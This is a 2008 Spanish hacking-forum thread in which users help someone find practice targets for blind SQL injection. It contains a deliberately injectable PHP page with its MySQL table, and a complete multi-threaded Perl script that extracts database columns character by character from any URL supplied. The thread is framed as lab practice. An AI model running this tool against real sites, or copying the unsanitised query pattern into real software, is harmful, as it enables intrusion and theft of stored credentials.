elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
27 Mayo 2012, 17:22  


Tema destacado: [Overclocking] Récords de overclock del foro

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Avanzado (Moderadores: ANELKAOS, TRICKY)
| | |-+  Busco una aplicación vulnerable a Blind SQL Injection
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Busco una aplicación vulnerable a Blind SQL Injection  (Leído 2,519 veces)
pedrox@

Desconectado Desconectado

Mensajes: 48


Ver Perfil
Busco una aplicación vulnerable a Blind SQL Injection
« en: 12 Abril 2008, 04:50 »

Hola buenas noches.
Estoy buscando algun code php o algun CMS que sea vulnerable a Blind SQL Injection o si algun usuario del foro hizo algun code php con esta vuln para practicar.

Saludos
En línea
R41N-W4R3

Desconectado Desconectado

Mensajes: 248


Ver Perfil
Re: Busco una aplicación vulnerable a Blind SQL Injection
« Respuesta #1 en: 12 Abril 2008, 11:20 »


   Ve por ejemplo a la pagina de  milw0rm y alli en el buscador pones blind sql.... te saldran muchas aplicaciones con esa vulnerabilidad y el respectivo exploit.. ya solo te queda descargarla e instalarla en tu maquina para hacer las pruebas.

  Saludos
En línea
hardjesjlc

Desconectado Desconectado

Mensajes: 40


http://ldelac.wordpress.com/


Ver Perfil WWW
Re: Busco una aplicación vulnerable a Blind SQL Injection
« Respuesta #2 en: 30 Mayo 2008, 10:43 »

en www.elladodelmal.com puedes aprender SQL Inyection con los retos hacking
Es el blog de un tipo que hace paginas inseguras (a posta se supone) para que la gente que las hacjea aprenda los fallos de seguridad mas comunes y sepa solventarlos
En línea

Azielito
no es
CoAdmin
***
Desconectado Desconectado

Mensajes: 9.114


>.<


Ver Perfil WWW
Re: Busco una aplicación vulnerable a Blind SQL Injection
« Respuesta #3 en: 30 Mayo 2008, 17:04 »

El otro dia por aqui mismo en el foro pusieron un post con un manual sobre esto >.<

Dejo codigo de la aplicacion vulnerable a Blind SQL Injection

Código
-- Table: users
-- by ka0x - D.O.M
-- Blind SQL Injection Paper
 
CREATE TABLE `users` (
 `id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,
 `name` VARCHAR(50) NOT NULL,
 `password` VARCHAR(50) NOT NULL,
 PRIMARY KEY  (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;
 
-- users --
INSERT INTO `users` VALUES (1, 'administrator', '1234%&_');
INSERT INTO `users` VALUES (2, 'ka0x', 't3st_bl1nd');
INSERT INTO `users` VALUES (3, 'bush', 'terrorist');
-- eof --

Código
<?php 
 
# ---- CONFIG -----
$host = 'localhost';
$dbuser = 'root';
$dbpass = 'password';
$dbname = 'blind';
# -----------------

echo "<title>Blind SQL Injection Test - D.O.M LABS 2008</title>";
 
$db = mysql_connect($host, $dbuser, $dbpass);
mysql_select_db($dbname,$db);
 
 
$sql = "SELECT * FROM users WHERE id=".$_GET['id'];
$query = mysql_query($sql);
 
if(@mysql_num_rows($query)==0){
die('No hay columnas');
}
 
$result=@mysql_fetch_row($query);
echo "<h2><center><u>Blind SQL Injection Test<br>D.O.M LABS</u><br><br>";
echo "<font color='#FF0000'>user_id: </font>".$result[0]."<br>";
echo "<font color='#FF0000'>username: </font>".$result[1]."<br>";
// echo "Passwd: ".$result[2]."<br>";
echo "</h2></center>";
 
die();
 
?>

Tambien habia un script que automatizaba el asunto de las inyecciones :D

Código
#!/usr/bin/perl -W
 
# Blind MySQL Injection Paper
# example brute force
 
# -- OPTIONS --
my $MAX_FIELD_LENGTH = 200 ;
my $EXIT_IF_NO_CHAR = 1 ;
my $DEFAULT_THREADS = 15 ;
my $DEFAULT_THREADS_TIMEOUT = 30 ;
my @ascii = ( 33 .. 123 ) ;
my $DEFAULT_THREADS_TIME = 1 ;
# ---
 
use LWP::UserAgent ;
 
sub _HELP_AND_EXIT
{
die "
 
 ./$0  -u <url>  -tn <table>  -cn <column>  -p <pattern>
 
Options:
 -u    <url>               Ex: http://www.google.es/vuln.php?id=1
 -tn   <table_name>        Table name.
 -cn   <column_name>       Column name.
 -p    <pattern>           HTML pattern.
 
Other:
 -t    <#>                 Threads, default '$DEFAULT_THREADS'.
 -l    <#>                 Maximum table name length '$MAX_FIELD_LENGTH'.
 -T    <#>                 Timeout.
 -h                        Help (also with --help).
"
;
}
 
 
my ($p, $w) = ({ @ARGV }, { }) ;
 
map {
&_HELP_AND_EXIT if $_ eq '--help' or $_ eq '-h' ;
} keys %$p ;
 
map {
die "[!] Require: $_\n" unless $p->{ $_ } ;
} qw/-u -tn -cn -p/ ;
 
$p->{'-t'} = ( $p->{'-t'} and $p->{'-t'} =~ /^\d+$/ ) ? $p->{'-t'} : ( $w->{'-t'} = $DEFAULT_THREADS ) ;
$p->{'-l'} = ( $p->{'-l'} and $p->{'-l'} =~ /^\d+$/ ) ? $p->{'-l'} : ( $w->{'-l'} = $MAX_FIELD_LENGTH ) ;
$p->{'-T'} = ( $p->{'-T'} and $p->{'-T'} =~ /^\d+$/ ) ? $p->{'-T'} : ( $w->{'-T'} = $DEFAULT_THREADS_TIMEOUT ) ;
 
map {
warn "[i] Getting default: $_ $w->{ $_ }\n" ;
} sort keys %$w ;
 
( &_IS_VULN( $p ) ) ? &_START_WORK( $p ) : die "[i] Bad pattern ? Isn't vulnerable ?\n" ;
 
 
 
 
sub _START_WORK
{
my $p = shift ;
 
($p->{'id_value'}) = ( $p->{'-u'} =~ /(\d+)$/ ) ; # Get the id value
 
my $position = 1 ;
 
pipe(R, W) ;
pipe(Rs, Ws) ;
autoflush STDOUT 1 ;
 
my $sql_message = '' ;
my $msg = '' ;
my @pid ;
 
while( $position <= $p->{'-l'} )
{
my $cf ;
unless( $cf = fork ){ &_CHECKING( $p, $position ) ; exit(0) ; }
push(@pid, $cf) ;
 
my $count = 0 ;
my $can_exit ;
my $char_printed ;
 
while(<R>)
{
chomp ;
push(@pid, (split(/:/))[1] ) if /^pid/ ;
 
my ($res, $pos, $ascii) = ( split(/ /, $_) ) ;
$count++ if $pos == $position ;
 
print "\b" x length($msg), ($msg = "$position $ascii " . chr($ascii) ) ;
 
if( $res eq 'yes' and $pos == $position ){
$char_printed = $can_exit = 1 ;
print Ws "STOP $position\n" ;
$sql_message .= chr( $ascii ) ;
}
 
last if ( $can_exit or $count == @ascii );
}
 
map { waitpid($_, 0) } @pid ;
 
unless( $char_printed )
{
if( $EXIT_IF_NO_CHAR )
{
warn "\n[!] \$EXIT_IF_NO_CHAR : I can't find a valid character, position $position.\n"  ;
last ;
}
}
 
$position++ ;
}
 
print "[i] SQL_FIELD:\n$sql_message\n" ;
 
}
 
sub _CHECKING
{
my ($p, $position) = @_ ;
my $counter = 0 ;
my $stop_position ;
 
foreach my $ascii ( @ascii )
{
$counter++ ;
 
if( $counter % $p->{'-t'} == 0 )
{
my $stop_position ;
eval
{
$SIG{'ALRM'} = sub { die "non_stop\n" } ;
alarm $DEFAULT_THREADS_TIME ;
my $line = <Rs> ;
$stop_position = (split( / /, $line))[1] ;
alarm 0 ;
} ;
 
if( ($stop_position) and $stop_position == $position ){ print "\nnext position\n" ; exit(0) ; }
}
 
unless(my $pid = fork )
{
print Ws "pid:$pid\n" or die ;
 
 
my $url = $p->{'-u'} .
' AND ascii(substring((SELECT ' . $p->{'-cn'} .
' FROM ' . $p->{'-tn'} . ' where id=' .
$p->{'id_value'} . '),' . $position . ',1))='. $ascii ;
 
my $ua = LWP::UserAgent->new ;
$ua->timeout( $p->{'-T'} ) ;
 
my $content ;
while( 1 )
{
last if $content = $ua->get( $url )->content ;
}
 
( $content =~ /$p->{'-p'}/ ) ? print W "yes $position $ascii\n" : print W "no $position $ascii\n" ;
 
exit( 0 ) ;
}
 
}
}
 
 
 
sub _IS_VULN
{
my $p = shift ;
 
my $ua = LWP::UserAgent->new ;
$ua->timeout( $p->{'-T'} ) ;
 
my ( $one, $two ) = (
$ua->get( $p->{'-u'}." AND 1=1")->content ,
$ua->get( $p->{'-u'}." AND 1=2")->content ,
) ;
 
return ($one =~ /$p->{'-p'}/ and $two !~ /$p->{'-p'}/) ? 1 : undef ;
}

Citar
Autor: ka0x <ka0x01[at]gmail.com>


ñ_ñ
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Google.com vulnerable to XSS (HTML Code Injection)
Bugs y Exploits
TinKode 9 2,112 Último mensaje 3 Diciembre 2010, 23:33
por TinKode
Problas con blind injection
Nivel Web
G0kuu_G0kuu 0 461 Último mensaje 15 Julio 2011, 10:22
por G0kuu_G0kuu
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines